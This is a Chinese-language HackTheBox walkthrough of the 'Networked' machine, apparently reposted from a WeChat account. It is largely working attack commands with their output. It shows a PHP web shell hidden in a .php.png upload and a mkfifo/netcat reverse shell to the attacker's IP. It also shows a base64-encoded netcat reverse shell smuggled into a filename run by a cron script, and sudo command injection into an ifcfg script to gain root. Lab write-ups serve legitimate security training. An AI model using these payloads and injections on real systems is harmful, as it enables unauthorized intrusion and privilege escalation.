title: HackTheBox-Networked author: Crazyinside layout: true categories: HackTheBox cover: https://www.worldisend.com/img/Networked.png tags:
•LInux
Crazy:~/HackThebox/Networked$ sudo masscan -p1-65535,U:1-65535 --rate 2000 -e tun0 10.10.10.146
[sudo] crazyinside 的密码:
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-08-22 02:59:55 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.146
Discovered open port 22/tcp on 10.10.10.146
Crazy:~/HackThebox/Networked$ sudo nmap -sC -sV 10.10.10.146 -p22,80 -oN Networked
Starting Nmap 7.92SVN ( https://ParrotOS.org ) at 2022-08-22 11:02 CST
Nmap scan report for 10.10.10.146
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2275d7a74f81a7af5266e52744b1015b (RSA)
| 256 2d6328fca299c7d435b9459a4b38f9c8 (ECDSA)
|_ 256 73cda05b84107da71c7c611df554cfc4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service detection performed. Please report any incorrect results at https://ParrotOS.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.79 seconds
zsh: segmentation fault sudo nmap -sC -sV 10.10.10.146 -p22,80 -oN Networked
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>
Crazy:~/HackThebox/Networked$ dirsearch -u http://10.10.10.146/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/crazyinside/.dirsearch/reports/10.10.10.146/-_22-08-22_11-03-55.txt
Error Log: /home/crazyinside/.dirsearch/logs/errors-22-08-22_11-03-55.log
Target: http://10.10.10.146/
[11:03:55] Starting:
[11:04:02] 403 - 216B - /.htaccess.orig
[11:04:02] 403 - 216B - /.htaccess.save
[11:04:03] 403 - 218B - /.htaccess.sample
[11:04:03] 403 - 216B - /.htaccess_orig
[11:04:03] 403 - 217B - /.htaccess_extra
[11:04:03] 403 - 214B - /.htaccessOLD
[11:04:03] 403 - 214B - /.htaccessBAK
[11:04:03] 403 - 214B - /.htaccess_sc
[11:04:03] 403 - 215B - /.htaccessOLD2
[11:04:03] 403 - 216B - /.htaccess.bak1
[11:04:03] 403 - 206B - /.htm
[11:04:03] 403 - 213B - /.ht_wsr.txt
[11:04:03] 403 - 207B - /.html
[11:04:03] 403 - 216B - /.htpasswd_test
[11:04:03] 403 - 212B - /.htpasswds
[11:04:03] 403 - 213B - /.httr-oauth
[11:04:33] 301 - 235B - /backup -> http://10.10.10.146/backup/
[11:04:33] 200 - 885B - /backup/
[11:04:35] 403 - 210B - /cgi-bin/
[11:04:48] 200 - 229B - /index.php
[11:04:48] 200 - 229B - /index.php/login/
[11:05:00] 200 - 1KB - /photos.php
[11:05:16] 200 - 169B - /upload.php
[11:05:16] 301 - 236B - /uploads -> http://10.10.10.146/uploads/
[11:05:16] 200 - 2B - /uploads/
<?php
require '/var/www/html/lib.php';
define("UPLOAD_DIR", "/var/www/html/uploads/");#上传路径
if( isset($_POST['submit']) ) {
if (!empty($_FILES["myFile"])) {
$myFile = $_FILES["myFile"];
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {#文件大小不许大于60000
echo '<pre>Invalid image file.</pre>';
displayform();
}
if ($myFile["error"] !== UPLOAD_ERR_OK) {
echo "<p>An error occurred.</p>";
displayform();
exit;
}
//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]); #白名单校验
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}
if (!($valid)) {
echo "<p>Invalid image file</p>";
displayform();
exit;
}
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
if (!$success) {
echo "<p>Unable to save file.</p>";
exit;
}
echo "<p>file uploaded, refresh gallery</p>";
// set proper permissions on the new file
chmod(UPLOAD_DIR . $name, 0644);
}
} else {
displayform();
}
?>
在图片中插入PHP代码:
<?php echo "START<br/><br/>nnn"; system($_GET["cmd"]); echo "nnn<br/><br/>END"; ?>
命名为shell.php.png。
右键新建打开,输入cmd=id:
自己apache解析就有问题:
http://10.10.10.146/uploads/10_10_16_3.php.png?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.16.3%201337%20%3E%2Ftmp%2Ff
Crazy:~/HackThebox/Networked/backup$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.146] 55794
sh: no job control in this shell
sh-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
sh-4.2$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
sh: python3: command not found
sh-4.2$ script -qc /bin/bash /dev/null
script -qc /bin/bash /dev/null
bash-4.2$ ls
10_10_16_3.php.png 127_0_0_2.png 127_0_0_4.png
127_0_0_1.png 127_0_0_3.png index.html
bash-4.2$
bash-4.2$ cd /home
bash-4.2$ ls
guly
bash-4.2$ cd gult
bash: cd: gult: No such file or directory
bash-4.2$ cd guly
bash-4.2$ ls
check_attack.php crontab.guly user.txt
bash-4.2$ cat user.txt
cat: user.txt: Permission denied
bash-4.2$ cat check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.phprn";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------n";
#print "check: $valuen";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$valuen";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
bash-4.2$
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
改编一下:
exec("nohup /bin/rm -f /var/www/html/uploads/$value > /dev/null 2>&1 &");
主要是这段代码
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$valuen";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
它检测/var/www/html/uploads/下文件是否以正确的IP命名,如果不是会输出attack!,然后调用exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");去删除掉它。我可以照着这条命令把我希望的拼接一下。试了几次反弹shell会话的方法,这个可以用:
exec("nohup /bin/rm -f /var/www/html/uploads/a;echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE2LjMgMTMzOAo= |base64 -d|sh > /dev/null 2>&1 &");
然后开始找check_ip函数方法到底是如何检测的,会不会干扰命令正常运行:
function check_ip($prefix,$filename) {
//echo "prefix: $prefix - fname: $filename<br>n";
$ret = true;
if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
$ret = false;
$msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
} else {
$msg = $filename;
}
return array($ret,$msg);
}
这个只是检测一下是否为有效IP。那我直接创建一个文件名为a;echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE2LjMgMTMzOAo= |base64 -d|sh。应该可以,我还要确保原本代码能正常执行,否则可能会出现一些意料之外的错误:
bash-4.2$ touch "a;echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE2LjMgMTMzOAo= |base64 -d|sh;b"
bash-4.2$ ls
10_10_16_3.php.png
127_0_0_1.png
127_0_0_2.png
127_0_0_3.png
127_0_0_4.png
touch "a;echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE2LjMgMTMzOAo= |base64 -d|sh;b"
index.html
bash-4.2$
Crazy:~/HackThebox/Networked/backup$ nc -lvnp 1338
listening on [any] 1338 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.146] 44432
id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
python3 -c 'import pty; pty.spawn("/bin/bash")'
id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
ls
check_attack.php
crontab.guly
user.txt
cat user.txt
526cfc2.........................
script -qc /bin/bash /dev/null
[guly@networked ~]$ ls
check_attack.php crontab.guly user.txt
[guly@networked ~]$
[guly@networked ~]$ sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin:/bin:/usr/sbin:/usr/bin
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
[guly@networked ~]$ cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
[guly@networked ~]$
[guly@networked ~]$ cat /etc/sysconfig/network-scripts/ifcfg-guly
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
NAME=ps /tmp/foo
PROXY_METHOD=asodih
BROWSER_ONLY=asdoih
BOOTPROTO=asdoih
[guly@networked ~]$
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
id
interface PROXY_METHOD:
whoami
interface BROWSER_ONLY:
id
interface BOOTPROTO:
id
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
a id
interface PROXY_METHOD:
a whoami
interface BROWSER_ONLY:
a pwd
interface BOOTPROTO:
a whoami
uid=0(root) gid=0(root) groups=0(root)
root
/etc/sysconfig/network-scripts
root
uid=0(root) gid=0(root) groups=0(root)
root
/etc/sysconfig/network-scripts
root
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
a id
interface PROXY_METHOD:
a /bin/bash
interface BROWSER_ONLY:
a id
interface BOOTPROTO:
a id
uid=0(root) gid=0(root) groups=0(root)
[root@networked network-scripts]# cat /root/root.txt
0a8e................................
原文始发于微信公众号(老鑫安全):HackTheBox-Networked
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论